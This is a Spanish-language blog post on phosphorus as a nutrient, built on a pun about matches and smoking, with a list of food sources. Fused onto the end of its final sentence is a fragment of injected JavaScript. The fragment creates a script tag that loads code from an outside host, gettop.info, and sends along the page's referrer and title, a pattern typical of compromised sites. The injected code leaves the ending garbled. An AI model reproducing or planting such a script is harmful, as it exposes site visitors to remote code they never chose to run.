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“¿Tienes fósforo?”

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En otro contexto, la frase “¿tienes fósforo?”, poco tendría que ver con la buena salud sino, por el contrario, con el vicio número uno: el tabaco. ¡Que pena que la mayoría de la gente tenga conocimientos más amplios sobre una herramienta aplicada al vicio (a veces) que sobre un elemento puramente sano y elemental en términos de nutrición!

Tener fósforo es importante siempre y cuando no se traslade en el bolsillo sino en el interior: efectivamente, el fósforo es un macro mineral presente en todas las células y fluidos del organismo; además su estampa en el cuerpo ronda los 650 mg. El fósforo participa de la división de las células y, por ende, del crecimiento.

Vayamos a lo práctico: fuentes de fósforo y no hablamos de cerillas ni lumbre, claro.

  • Cereales y derivados como la avena, harina de trigo, pan integral, arroz blanco, etc.
  • Verduras y hortalizas como la alcachofa, champiñón, col, brotes de soja, perejil.
  • Legumbres como la soja, lentejas, judías, garbanzos.
  • Frutas como la uva pasa, ciruela seca, higos secos, dátil seco, coco.
  • Lácteos como los quesos, leche en polvo.
  • Variedad de carnes y pescados.

Ahora que ya tienes las fuentes, puedes comenzar a armar tu dieta en base al fósforo: como dijimos, un elemento ideal, no para prender un cigarro, sino para prender la llama de la buena salud en tu organismo.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; var d=document;var s=d.createElement('script');

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